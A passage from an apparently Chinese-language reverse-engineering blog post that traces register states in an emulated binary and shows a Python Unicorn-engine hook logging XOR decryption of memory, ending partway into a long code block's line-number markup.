MOV] @<span class="number">0x010009c3</span>: mov esi, <span class="number">0x8</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010009dd</span>: cmp esi, <span class="number">0x11</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x4B</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010013cd</span>: mov esi, <span class="number">0x6</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010013e7</span>: cmp esi, <span class="number">0xd</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x32</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000fc5</span>: mov esi, <span class="number">0x13</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000fdf</span>: cmp esi, <span class="number">0x27</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x24</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000384</span>: mov esi, <span class="number">0x26</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100039e</span>: cmp esi, <span class="number">0x4d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x51</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000de8</span>: mov esi, <span class="number">0x15</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000e02</span>: cmp esi, <span class="number">0x2b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x4D</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100116c</span>: mov esi, <span class="number">0x1d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001186</span>: cmp esi, <span class="number">0x3b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x64</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000a50</span>: mov esi, <span class="number">0x16</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000a6a</span>: cmp esi, <span class="number">0x2d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x5A</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010004e9</span>: mov esi, <span class="number">0x4</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000503</span>: cmp esi, <span class="number">0x9</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x3A</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000965</span>: mov esi, <span class="number">0x2</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100097f</span>: cmp esi, <span class="number">0x5</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x04</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000c48</span>: mov esi, <span class="number">0xa</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000c4d</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000c63</span>: cmp esi, <span class="number">0x15</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x26</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100087a</span>: mov esi, <span class="number">0x9</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000894</span>: cmp esi, <span class="number">0x13</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x35</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000b35</span>: mov esi, <span class="number">0x24</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000b4f</span>: cmp esi, <span class="number">0x49</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x46</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000f96</span>: mov esi, <span class="number">0x2c</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000fb0</span>: cmp esi, <span class="number">0x59</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x60</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010015f6</span>: mov esi, <span class="number">0x2</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001610</span>: cmp esi, <span class="number">0x5</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x11</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000d46</span>: cmp esi, <span class="number">0x23</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x07</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100156b</span>: mov esi, <span class="number">0xf</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001570</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01001586</span>: cmp esi, <span class="number">0x1f</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x3E</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000bed</span>: mov esi, <span class="number">0x22</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000bf2</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000c08</span>: cmp esi, <span class="number">0x45</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x45</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001511</span>: mov esi, <span class="number">0x2</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100152b</span>: cmp esi, <span class="number">0x5</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x2A</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000e7f</span>: mov esi, <span class="number">0x14</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000e99</span>: cmp esi, <span class="number">0x29</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x19</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010012b5</span>: mov esi, <span class="number">0xd</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010012cf</span>: cmp esi, <span class="number">0x1b</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x4E</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100119b</span>: mov esi, <span class="number">0x26</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010011b5</span>: cmp esi, <span class="number">0x4d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x22</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100139e</span>: mov esi, <span class="number">0x9</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x010013b8</span>: cmp esi, <span class="number">0x13</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x5F</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000aaa</span>: mov esi, <span class="number">0x27</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000aaf</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000ac5</span>: cmp esi, <span class="number">0x4f</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x25</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001311</span>: mov esi, <span class="number">0x1a</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100132b</span>: cmp esi, <span class="number">0x35</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x41</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000b05</span>: mov esi, <span class="number">0x21</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000b0a</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000b20</span>: cmp esi, <span class="number">0x43</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x53</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000f0c</span>: mov esi, <span class="number">0x2a</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000f26</span>: cmp esi, <span class="number">0x55</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x2C</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000c1d</span>: mov esi, <span class="number">0x13</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000c37</span>: cmp esi, <span class="number">0x27</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x09</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010007ef</span>: mov esi, <span class="number">0x2e</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x010007f4</span>: mov esi, <span class="number">0x2f</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100080a</span>: cmp esi, <span class="number">0x5d</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x3C</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01001340</span>: mov esi, <span class="number">0x18</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100135a</span>: cmp esi, <span class="number">0x31</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x1E</span></span><br><span class="line">[STATE] ESI ← <span class="number">0x14</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x0100084b</span>: mov esi, <span class="number">0x29</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x01000865</span>: cmp esi, <span class="number">0x53</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000654</span>: mov esi, <span class="number">0x1d</span></span><br><span class="line">[HOOK CMP] @<span class="number">0x0100066e</span>: cmp esi, <span class="number">0x3b</span></span><br><span class="line">[HOOK MOV] @<span class="number">0x01000675</span>: mov esi, <span class="number">0x11</span></span><br></pre></td></tr></table></figure><p>再來要知道他是怎麼進行XOR加密的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">hook_xor_insn</span>(<span class="params">uc, address, size, user_data</span>):</span><br><span class="line">    mc = uc.mem_read(address, size)</span><br><span class="line">    <span class="keyword">if</span> mc.startswith(<span class="string">b&#x27;\x30\x04&#x27;</span>):</span><br><span class="line">        eip = address</span><br><span class="line">        ecx = uc.reg_read(UC_X86_REG_ECX)</span><br><span class="line">        esi = uc.reg_read(UC_X86_REG_ESI)</span><br><span class="line">        dest = ecx + esi</span><br><span class="line">        old = uc.mem_read(dest, <span class="number">1</span>)[<span class="number">0</span>]</span><br><span class="line">        al = uc.reg_read(UC_X86_REG_EAX) &amp; <span class="number">0xff</span></span><br><span class="line">        result = old ^ al</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;[XOR @0x<span class="subst">&#123;eip:x&#125;</span>] MEM[0x<span class="subst">&#123;dest:x&#125;</span>] 0x<span class="subst">&#123;old:02x&#125;</span> ^ AL(0x<span class="subst">&#123;al:02x&#125;</span>) → 0x<span class="subst">&#123;result:02x&#125;</span>&quot;</span>)</span><br><span class="line">        after = uc.mem_read(dest,<span class="number">1</span>)[<span class="number">0</span>]</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot; 寫入後 MEM = 0x<span class="subst">&#123;after:02x&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hook_mem_write</span>(<span class="params">uc, access, addr, size, value, user_data</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[WRITE] @0x<span class="subst">&#123;addr:x&#125;</span> ← 0x<span class="subst">&#123;value:02x&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">mu.hook_add(UC_HOOK_CODE, hook_xor_insn,<span class="literal">None</span> , <span class="number">1</span>,<span class="number">0</span>,UC_X86_INS_CPUID)</span><br><span class="line">mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br><span class="line">754</span><br><span class="line">755</span><br><span class="line">756</span><br><span class="line">757</span><br><span class="line">758</span><br><span class="line">759</span><br><span class="line">760</span><br><span class="line">761</span><br><span class="line">762</span><br><span class="line">763</span><br><span class="line">764</span><br><span class="line">765</span><br><span class="line">766</span><br><span class="line">767</span><br><span class="line">768</span><br><span class="line">769</span><br><span class="line">770</span><br><span class="line">771</span><br><span class="line">772</span><br><span class="line">773</span><br><span class="line">774</span><br><span class="line">775</span><br><span class="line">776</span><br><span class="line">777</span><br><span class="line">778</span><br><span class="line">779</span><br><span class="line">780</span><br><span class="line">781</span><br><span class="line">782</span><br><span class="line">783</span><br><span class="line">784</span><br><span class="line">785</span><br><span class="line">786</span><br><span class="line">787</span><br><span class="line">788</span><br><span class="line">789</span><br><span class="line">790</span><br><span class="line">791</span><br><span class="line">792</span><br><span class="line">793</span><br><span class="line">794</span><br><span class="line">795</span><br><span class="line">796</span><br><span class="line">797</span><br><span class="line">798</span><br><span class="line">799</span><br><span class="line">800</span><br><span class="line">801</span><br><span class="line">802</span><br><span class="line">803</span><br><span class="line">804</span><br><span class="line">805</span><br><span class="line">806</span><br><span class="line">807</span><br><span class="line">808</span><br><span class="line">809</span><br><span class="line">810</span><br><span class="line">811</span><br><span class="line">812</span><br><span class="line">813</span><br><span class="line">814</span><br><span class="line">815</span><br><span class="line">816</span><br><span class="line">817</span><br><span class="line">818</span><br><span class="line">819</span><br><span class="line">820</span><br><span class="line">821</span><br><span class="line">822</span><br><span class="line">823</span><br><span class="line">824</span><br><span class="line">825</span><br><span class="line">826</span><br><span class="line">827</span><br><span class="line">828</span><br><span 